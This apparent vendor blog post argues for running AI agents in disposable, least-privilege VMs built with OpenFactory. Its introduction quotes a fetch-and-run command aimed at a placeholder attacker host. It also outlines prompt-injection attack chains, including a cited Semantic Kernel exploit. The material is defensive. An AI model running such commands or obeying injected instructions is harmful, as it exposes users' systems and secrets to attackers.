Designing a Safer Computer for an AI Agent

The most capable AI agents need more than API access. They need to write code and run it, browse the web, install packages, read and write files, and use command-line tools. In short, they need a computer.

The problem is obvious: giving an AI agent a computer means giving it the ability to execute arbitrary code. And that code comes from natural language prompts, the most injection-prone input surface in computing. One prompt injection away from curl attacker.com/payload | bash.

Prompt injection and excessive tool permissions are established agent risks. The OWASP prompt-injection guidance explains that model behavior alone cannot prevent these attacks. Isolation is one layer in a larger design: minimize authority, treat external content as untrusted, mediate tool calls, constrain data and network access, and make execution environments replaceable. The diagram below shows a VM boundary, not a guarantee that the guest is sealed from every host resource.

The Attack Chain

Prompt injection leads to code generation, code generation leads to code execution, and unsandboxed code execution leads to data exfiltration, lateral movement, or persistent backdoors. The entire chain from “user message” to “compromised server” can happen in a single agent turn.

It's not hypothetical. In May 2026, Microsoft's own security team showed that a single injected prompt was enough to launch calc.exe on the host running an agent built on Semantic Kernel (CVE-2026-26030). A related flaw let the agent write a payload straight into the Windows Startup folder (CVE-2026-25592). Their conclusion is the one that matters here: your LLM is not a security boundary, and any tool parameter the model can influence must be treated as attacker-controlled input. The agent faithfully executes injected instructions because it can't distinguish them from legitimate requests.

• Prompt injection: malicious instructions embedded in user input, retrieved documents, web pages, or tool outputs.
• Code execution: the agent generates and runs code containing the injected payload.
• Data exfiltration: anything the agent's process can read, including secrets, API keys, database credentials, and source code.
• Lateral movement: from the agent's environment to other services on the network, cloud metadata endpoints, or internal APIs.
• Persistent access: SSH keys, cron jobs, and modified dependencies become backdoors that survive the agent session.

Choosing the Isolation Boundary

Containers share a host kernel; VMs introduce a separate guest kernel and hypervisor boundary. That difference matters when reducing shared-kernel exposure, but neither option is secure by default. The decision belongs in a documented threat model.

Container isolation uses namespaces, cgroups, capabilities, syscall filtering, mandatory access controls, and the host kernel. A VM adds a hypervisor and virtual-device surface instead of eliminating software risk. Both stacks need patching, least privilege, constrained networking, and monitoring.

For hostile or highly variable workloads, a separately managed guest kernel may be a useful additional layer. For lower-risk workloads, a hardened container can be a reasonable component. In either case, do not mount broad host paths, inject long-lived credentials, or grant unrestricted egress simply because the process runs inside an isolation primitive.

A Separate Guest Kernel, with Explicit Controls

A VM normally runs a separate guest kernel, with resource access mediated by a virtual-machine monitor. That can narrow some attack paths, but the result still depends on hypervisor configuration, virtual devices, storage mappings, network segmentation, credentials, and the management plane.

NIST SP 800-125A describes the hypervisor as mediating access to host resources and recommends secure configuration for the full virtualization stack. Its companion network guidance emphasizes segmentation, firewalls, and monitoring. That is a useful operating model: a VM is a control boundary to configure and test, not a promise that a compromised guest cannot escape or reach sensitive services.

Lightweight virtual-machine monitors such as Firecracker are designed for short-lived workloads and a reduced device model. Startup, memory use, density, and supported guests vary by host and configuration, so measure the complete workload rather than relying on a headline benchmark.

The OpenFactory Approach

Build a reviewed Linux artifact containing the tools the agent needs, verify its checksum and validation evidence, then place it inside an operator-configured VM boundary. Ephemerality, isolation, and least privilege are deployment decisions; an image alone cannot provide them.

OpenFactory lets you define exactly what goes into the agent's VM:

• Language runtimes: Python, Node.js, Go, or Rust when the recipe and distribution support them. Keep the requested set small and verify versions after boot.
• Development tools: git, compilers, linters, and formatters. Treat these as privileged tools and constrain the data and credentials available to them.
• Browser: for web-browsing agents that need to navigate, scrape, or interact with web applications.
• CLI tools: curl, jq, database clients, cloud CLIs, and whatever else the agent uses to accomplish its tasks.
• Nothing else: remove unneeded services where the selected distribution and workflow permit it. Confirm the final package and service inventory from build evidence.

Use Cases

• Coding agents: agents that write, test, and debug code need a full development environment. Give them a VM with the project's language runtime, test framework, and build tools. Limit its network, mounts, secrets, and project scope so a guest compromise has fewer useful paths outward.
• Web-browsing agents: agents that navigate websites, fill forms, or extract data need a browser. Run it behind restricted egress and disposable storage; a VM alone does not prevent the browser from reaching whatever the network policy allows.
• Data analysis agents: agents that process datasets, run queries, or generate reports. Isolate them from production data stores and give them only the data they need inside the VM.
• MCP tool servers: Model Context Protocol servers that expose tools to AI models. Each MCP server can run in a separate guest with narrowly scoped credentials and network routes. Also review tool descriptions for poisoning and confused-deputy risks.
• CI/CD agents: build and deployment pipelines that run in isolated VMs. Even if a supply chain attack compromises a dependency, job-scoped credentials and network rules are as important as the compute boundary.

Disposable by Design

The best security property of an agent VM is that it doesn't persist. Deploy from a reviewed image, run the task, export only intended results, and destroy the guest. This limits guest-local persistence, provided external disks, caches, snapshots, credentials, and downstream systems are handled separately.

Traditional infrastructure fights to keep servers running. Agent infrastructure should fight to tear them down. The shorter the VM lives, the smaller the window for an attacker. The less state it accumulates, the less there is to exfiltrate.

• Rebuildable: keep the recipe, source versions, artifact checksum, and build evidence. Test whether a later rebuild is equivalent; do not assume byte-for-byte identity.
• Auditable: review the recipe and captured package, service, and validation evidence. Network access and hypervisor settings must be reviewed in the deployment layer.
• Versioned: preserve recipes and artifact hashes so releases can be compared. A rollback is only available when the earlier artifact and compatible deployment state have also been retained and tested.
• Ephemeral: destroy the guest after use and verify how attached disks, snapshots, logs, caches, and external services are retained.

How to Build It

Describe the target distribution, runtimes, tools, and validation checks in OpenFactory. Review the generated recipe before starting a build, then inspect the build log, artifact checksum, and boot-test results before using the image.

1. Go to console.openfactory.tech and describe what your agent needs: “Python 3.12, Node.js 22, Firefox, git, strict security, no SSH.”
2. Review the generated recipe and supported package names. A requested security posture is not evidence that the resulting image is hardened.
3. Download the completed artifact, verify its checksum, and boot-test it on a compatible hypervisor. Define guest networking, storage, credentials, and teardown outside the image build.
4. Point your agent framework at the VM via SSH, API, or guest agent. Or wire it up through the OpenFactory MCP server to prototype a controlled build workflow. Keep build and deployment approval outside the model's authority, and verify every resulting artifact.

The practical goal is defense in depth: a reviewed artifact, a patched compute boundary, short-lived credentials, restricted mounts and egress, mediated tools, observable execution, and a tested destruction path. A VM can be one useful layer; it is not the whole sandbox.